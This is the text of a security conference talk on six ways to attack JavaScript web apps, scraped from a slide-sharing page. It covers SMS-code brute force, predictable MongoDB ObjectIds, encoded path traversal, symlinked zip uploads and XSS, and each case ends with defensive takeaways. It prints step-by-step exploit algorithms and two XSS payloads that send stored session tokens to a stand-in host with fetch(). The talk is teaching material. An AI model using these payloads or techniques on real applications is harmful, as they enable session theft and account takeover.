SlideShare a Scribd company logo
6 ways to hack your JavaScript application by Viktor Turskyi
Viktor Turskyi
● CEO at WebbyLab
● 15 years in software development
Why I talk about security?
1. I switched to software development from IT security
2. I work with software engineers for many years and this topic is highly
undercovered
3. I work with different businesses for many years and risks are highly
underestimated
4. Governmental regulations (GDPR, PCI DSS etc)
5. It makes you a better software engineer
6. It is FUN!!
What I will talk about?
1. Not about OWASP (Open Web Application Security Project) Top 10 report
2. Not about security tools (metasploit, sqlmap etc)
3. Not about content security policy.
4. Only practical cases that we’ve met in real life.
5. JavaScript based demos
6. Real cases simulated in environment
a. React frontend
b. NodeJs backend
c. Set of exploits
Overview of the existing application
Let’s play a game
1. I show you a piece of application code with vulnerability.
2. Who sees the vulnerability?
3. I run exploit
4. You guess the exploits algorithm
5. I go through exploit in details
Case 1: Password recovery by SMS
Case 1: Description
To improve security a company decided to use SMS for password recovery.
User enters own email and receives on phone code like: 7483
Run exploit
How does the exploit work?
Case 1: Takeaways
Think about bruteforce.
Reset codes:
SMS codes
CAPTCHA Codes
Limit requests per IP is not a solution
6 ways to hack your JavaScript application by Viktor Turskyi
Case 2: Email password recovery
/reset-password?actionId=5c6a84d97955741020400f3f
6 ways to hack your JavaScript application by Viktor Turskyi
Run exploit
How does the exploit work?
6 ways to hack your JavaScript application by Viktor Turskyi
Algorithm
1. Prepare payloads for any object creation and password restore link
generation.
2. Send them simultaneously.
3. Use got ObjectId of newly created object as base
4. Increment counters (at first) and timestamp (it is in seconds,+-1 is enough in
most cases)
5. Use the new object id for password recovery
Mongo <= v3.2
Mongo >= v3.4
6 ways to hack your JavaScript application by Viktor Turskyi
Case 2: Takeaways
Mongo ID predictable (on all version of mongo)
UUID v1 predictable (unique, but not random)
UUID v4 unpredictable
Always think about predictability of URLs (keys, etc)
Case 3: File paths
6 ways to hack your JavaScript application by Viktor Turskyi
Run exploit
How does the exploit work?
Let’s look step by step
A lot of frameworks had this vulnerability
ACSII: CHAR “.” = DEC 46 = HEX 2E = %2E (in URL)
/static/../etc/config.json
/static/%2e%2e/etc/config.json
Main reason: validate, then escape (should be escape, then validate)
Algorithm
1. Prepare path where do you expect to have sensitive data (configs).
2. Replace dots in relative paths with “%2e”
3. Get configs with JWT keys
4. Create own session for any user
Very popular modules can be vulnerable (11k weekly downloads)
Use npm audit (NODEJS DEVS ARE LUCKY TO HAVE IT)
Check your dependencies
Security is a question of trust
apt update
JWT vulnerability example (next slides)
Case 3: Takeaways
JWT vulnerability example
RFC 7119 JSON Web Token (JWT)
Case 4: Photos upload
6 ways to hack your JavaScript application by Viktor Turskyi
Run exploit
How does the exploit work?
Algorithm
1. Prepare zip archive and pack symlink which references server configuration.
2. Upload zip archive to server
3. Download the uploaded file (which is symlink in real). It will return server
config
4. Create own session using a key from the config
decompress
Case 4: Takeaways
Thinks about edge cases
Just know how system works
Zip-Slip (next slides)
Zip-Slip
Case 5: Tweet creation
6 ways to hack your JavaScript application by Viktor Turskyi
Run exploit
How does the exploit work?
6 ways to hack your JavaScript application by Viktor Turskyi
Tweet text:
'<span>Hello world2</span> <img style="display:none" src="WRONG"
onerror="fetch('http://localhost:5000?token='+localStorage.getItem('token'))" />'
Case 5: Takeaways
IF YOU SEE WYSIWYG, CHECK YOUR CODE FOR XSS
Do not use regex for extracting script tags
Use sanitizer with tags and attrs white-listing
CORS will allow you do cross domain request
XSS worms issues
Case 6: The most popular vulnerability in
ReactJs boilerplates
6 ways to hack your JavaScript application by Viktor Turskyi
6 ways to hack your JavaScript application by Viktor Turskyi
6 ways to hack your JavaScript application by Viktor Turskyi
Run exploit
How does the exploit work?
6 ways to hack your JavaScript application by Viktor Turskyi
</script><script>fetch('http://localhost:5000?token=' +
localStorage.getItem('google_experiment_mod'))</script><script>
6 ways to hack your JavaScript application by Viktor Turskyi
Case 6: Takeaways
Know HTML page parsing (inline JS not the same as external JS)
Think about data usage context
Use “serialize-javascript”: serializeJs(initialState, { isJSON: true }) instead of
JSON.stringify(initialState)
Case 7: Network risks
Case 7: Takeaways
Think about communication
Get the whole picture
Use HTTPS everywhere
Case 8..14:
Case 8: Clickjacking
Case 9: Tabnapping
Case 10: CSRF (cookie, basic auth)
Case 11: SQL Injection (pass through ORM)
Case 12: ORM Injection
Case 13: Unsafe HTTPS Redirect
Case 14: Target=_blank (without rel="noopener noreferrer")
Do you know how these things work?
Heartbleed
Shellshock
WPA Krack
Meltdown and Spectre
Why I like information security?
Information security is about understanding how things work
It makes you a better developer
You can create more complex projects
It is fun!
Thank you!
Telegram: @JABASCRIPT
6 ways to hack your JavaScript application by Viktor Turskyi
Viktor Turskyi
viktor@webbylab.com
@koorchik @koorchik
https://webbylab.com

More Related Content

PDF
JS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложение
PDF
Tale of Forgotten Disclosure and Lesson learned
PDF
How to escalate privileges to administrator in latest Windows.
PPTX
An Inconvenient Truth: Evading the Ransomware Protection in Windows 10
PPTX
[DevDay2018] Security Testing - By Thuy Nguyen, Software Engineer at Axon Act...
PDF
Secure your Web Application With The New Python Audit Hooks
PDF
My tryst with sourcecode review
PPTX
Advanced Malware Analysis Training Session 7 - Malware Memory Forensics
JS Fest 2019. Виктор Турский. 6 способов взломать твое JavaScript приложение
Tale of Forgotten Disclosure and Lesson learned
How to escalate privileges to administrator in latest Windows.
An Inconvenient Truth: Evading the Ransomware Protection in Windows 10
[DevDay2018] Security Testing - By Thuy Nguyen, Software Engineer at Axon Act...
Secure your Web Application With The New Python Audit Hooks
My tryst with sourcecode review
Advanced Malware Analysis Training Session 7 - Malware Memory Forensics

What's hot (20)

PDF
Systems Introspection
PDF
Generics in java
PPTX
Secure Programming In Php
PDF
Isaa lab assessment 3
PPTX
Automating Malware Analysis
PDF
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolf
PPTX
Intro to exploits in metasploitand payloads in msfvenom
PDF
Automatiza las detecciones de amenazas y evita falsos positivos
PPTX
Securing the Web @DevDay Da Nang 2018
PDF
Elixir metaprogramming
PDF
What you need to know about ExPetr ransomware
PDF
Pentest with Metasploit
PPTX
Automating malware analysis
PPTX
Phu appsec13
PPTX
Reversing & Malware Analysis Training Part 9 - Advanced Malware Analysis
PDF
Chapter 14 sql injection
PPTX
Metasploit for Web Workshop
PDF
iCrOSS 2013_Pentest
DOCX
Boot-To-Root KIOPTRIX Level -1
PDF
[Cluj] CSP (Content Security Policy)
Systems Introspection
Generics in java
Secure Programming In Php
Isaa lab assessment 3
Automating Malware Analysis
Defeating xss-and-xsrf-with-my faces-frameworks-steve-wolf
Intro to exploits in metasploitand payloads in msfvenom
Automatiza las detecciones de amenazas y evita falsos positivos
Securing the Web @DevDay Da Nang 2018
Elixir metaprogramming
What you need to know about ExPetr ransomware
Pentest with Metasploit
Automating malware analysis
Phu appsec13
Reversing & Malware Analysis Training Part 9 - Advanced Malware Analysis
Chapter 14 sql injection
Metasploit for Web Workshop
iCrOSS 2013_Pentest
Boot-To-Root KIOPTRIX Level -1
[Cluj] CSP (Content Security Policy)

Similar to 6 ways to hack your JavaScript application by Viktor Turskyi (20)

PDF
KharkivJS 2018 Information Security Practice
PPT
Bank One App Sec Training
PDF
Secure Coding principles by example: Build Security In from the start - Carlo...
PPTX
State of the information security nation
PDF
4 andrii kudiurov - web application security 101
PDF
Become a Security Ninja
PPTX
[DevDay2018] Securing the Web - By Sumanth Damarla, Tech Speaker at Mozilla
PPTX
2022 APIsecure_Go Hack Yourself: API Hacking for Beginners
PDF
Secrets of Google VRP by: Krzysztof Kotowicz, Google Security Team
PPT
Web Application Security
PDF
OWASP Top 10 - The Ten Most Critical Web Application Security Risks
PDF
Web Security
PPT
Application Security
PPTX
Presentation on Top 10 Vulnerabilities in Web Application
PPTX
6 - Web Application Security.pptx
PPTX
BSides Iowa 2017 Wanna break JavaScript and APIs in web apps?
PDF
OWASP Top 10 - 2017
PDF
Owasp top 10 2013
PDF
Owasp top 10_openwest_2019
PPTX
Owasp web application security trends
KharkivJS 2018 Information Security Practice
Bank One App Sec Training
Secure Coding principles by example: Build Security In from the start - Carlo...
State of the information security nation
4 andrii kudiurov - web application security 101
Become a Security Ninja
[DevDay2018] Securing the Web - By Sumanth Damarla, Tech Speaker at Mozilla
2022 APIsecure_Go Hack Yourself: API Hacking for Beginners
Secrets of Google VRP by: Krzysztof Kotowicz, Google Security Team
Web Application Security
OWASP Top 10 - The Ten Most Critical Web Application Security Risks
Web Security
Application Security
Presentation on Top 10 Vulnerabilities in Web Application
6 - Web Application Security.pptx
BSides Iowa 2017 Wanna break JavaScript and APIs in web apps?
OWASP Top 10 - 2017
Owasp top 10 2013
Owasp top 10_openwest_2019
Owasp web application security trends

More from OdessaJS Conf (20)

PPTX
'GraphQL Schema Design' by Borys Mohyla. OdessaJS'2021
PDF
'How i came up with my talk' by Yurii Artiukh. OdessaJS'2021
PDF
"Is there life in react without redux" by Babich Sergiy. OdessaJS'2021
PPTX
Олексій Павленко. CONTRACT PROTECTION ON THE FRONTEND SIDE: HOW TO ORGANIZE R...
PPTX
Андрій Троян. Розробка мікросервісів з NestJS. OdessaJS'2021
PPTX
Олексій Гончар "Використання Electron в розробці корпоративної відео-мессeндж...
PDF
Максим Климишин "Що такого особливого у пропозиції вартості шаблону Micro Fro...
PDF
Павло Галушко. GOOD CODE MYTHS. OdessaJS'2021
PPTX
"NODEJS & GRAPHQL COOKBOOK. LET’S TALK ABOUT MICRO-SERVICES" by Антон Чередні...
PPTX
'BUILDING ANGULAR APPS WITH NX' by Anastasia Necheporenko
PPTX
'IS THERE JAVASCRIPT ON SWAGGER PLUGINS?' by Dmytro Gusev
PPTX
'ETHEREUM SMART CONTRACTS ON JS' by Yaroslav Dvorovenko
PPTX
'GOLANG USAGE IN DEVELOPMENT OF NODE.JS APPLICATIONS (NODE.JS: IN GO WE TRUST...
PPTX
'MICROFRONTENDS WITH REACT' by Liliia Karpenko
PDF
'Web performance metrics' BY ROMAN SAVITSKYI at OdessaJS'2020
PDF
'STORY OF ANOTHER ANIMATION' by YURII ARTYUKH at OdessaJS'2020
PDF
'JavaScript was invented in Odessa' by DMITRIY GUSEV at OdessaJS'2020
PDF
'Why svelte' by BORYS MOHYLA at OdessaJS'2020
PDF
'Effective node.js development' by Viktor Turskyi at OdessaJS'2020
PDF
'Tensorflow.js in real life' by Pavlo Galushko at OdessaJS'2020
'GraphQL Schema Design' by Borys Mohyla. OdessaJS'2021
'How i came up with my talk' by Yurii Artiukh. OdessaJS'2021
"Is there life in react without redux" by Babich Sergiy. OdessaJS'2021
Олексій Павленко. CONTRACT PROTECTION ON THE FRONTEND SIDE: HOW TO ORGANIZE R...
Андрій Троян. Розробка мікросервісів з NestJS. OdessaJS'2021
Олексій Гончар "Використання Electron в розробці корпоративної відео-мессeндж...
Максим Климишин "Що такого особливого у пропозиції вартості шаблону Micro Fro...
Павло Галушко. GOOD CODE MYTHS. OdessaJS'2021
"NODEJS & GRAPHQL COOKBOOK. LET’S TALK ABOUT MICRO-SERVICES" by Антон Чередні...
'BUILDING ANGULAR APPS WITH NX' by Anastasia Necheporenko
'IS THERE JAVASCRIPT ON SWAGGER PLUGINS?' by Dmytro Gusev
'ETHEREUM SMART CONTRACTS ON JS' by Yaroslav Dvorovenko
'GOLANG USAGE IN DEVELOPMENT OF NODE.JS APPLICATIONS (NODE.JS: IN GO WE TRUST...
'MICROFRONTENDS WITH REACT' by Liliia Karpenko
'Web performance metrics' BY ROMAN SAVITSKYI at OdessaJS'2020
'STORY OF ANOTHER ANIMATION' by YURII ARTYUKH at OdessaJS'2020
'JavaScript was invented in Odessa' by DMITRIY GUSEV at OdessaJS'2020
'Why svelte' by BORYS MOHYLA at OdessaJS'2020
'Effective node.js development' by Viktor Turskyi at OdessaJS'2020
'Tensorflow.js in real life' by Pavlo Galushko at OdessaJS'2020

Recently uploaded (20)

PPT
Teaching material agriculture food technology
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PDF
MIND Revenue Release Quarter 2 2025 Press Release
PDF
cuic standard and advanced reporting.pdf
PPTX
Big Data Technologies - Introduction.pptx
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PPTX
Spectroscopy.pptx food analysis technology
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
Chapter 3 Spatial Domain Image Processing.pdf
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PPTX
ACSFv1EN-58255 AWS Academy Cloud Security Foundations.pptx
PPTX
sap open course for s4hana steps from ECC to s4
PDF
Network Security Unit 5.pdf for BCA BBA.
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
Encapsulation theory and applications.pdf
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
Teaching material agriculture food technology
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
MIND Revenue Release Quarter 2 2025 Press Release
cuic standard and advanced reporting.pdf
Big Data Technologies - Introduction.pptx
Reach Out and Touch Someone: Haptics and Empathic Computing
Spectroscopy.pptx food analysis technology
Mobile App Security Testing_ A Comprehensive Guide.pdf
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
The Rise and Fall of 3GPP – Time for a Sabbatical?
Chapter 3 Spatial Domain Image Processing.pdf
“AI and Expert System Decision Support & Business Intelligence Systems”
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Digital-Transformation-Roadmap-for-Companies.pptx
ACSFv1EN-58255 AWS Academy Cloud Security Foundations.pptx
sap open course for s4hana steps from ECC to s4
Network Security Unit 5.pdf for BCA BBA.
Unlocking AI with Model Context Protocol (MCP)
Encapsulation theory and applications.pdf
Per capita expenditure prediction using model stacking based on satellite ima...

6 ways to hack your JavaScript application by Viktor Turskyi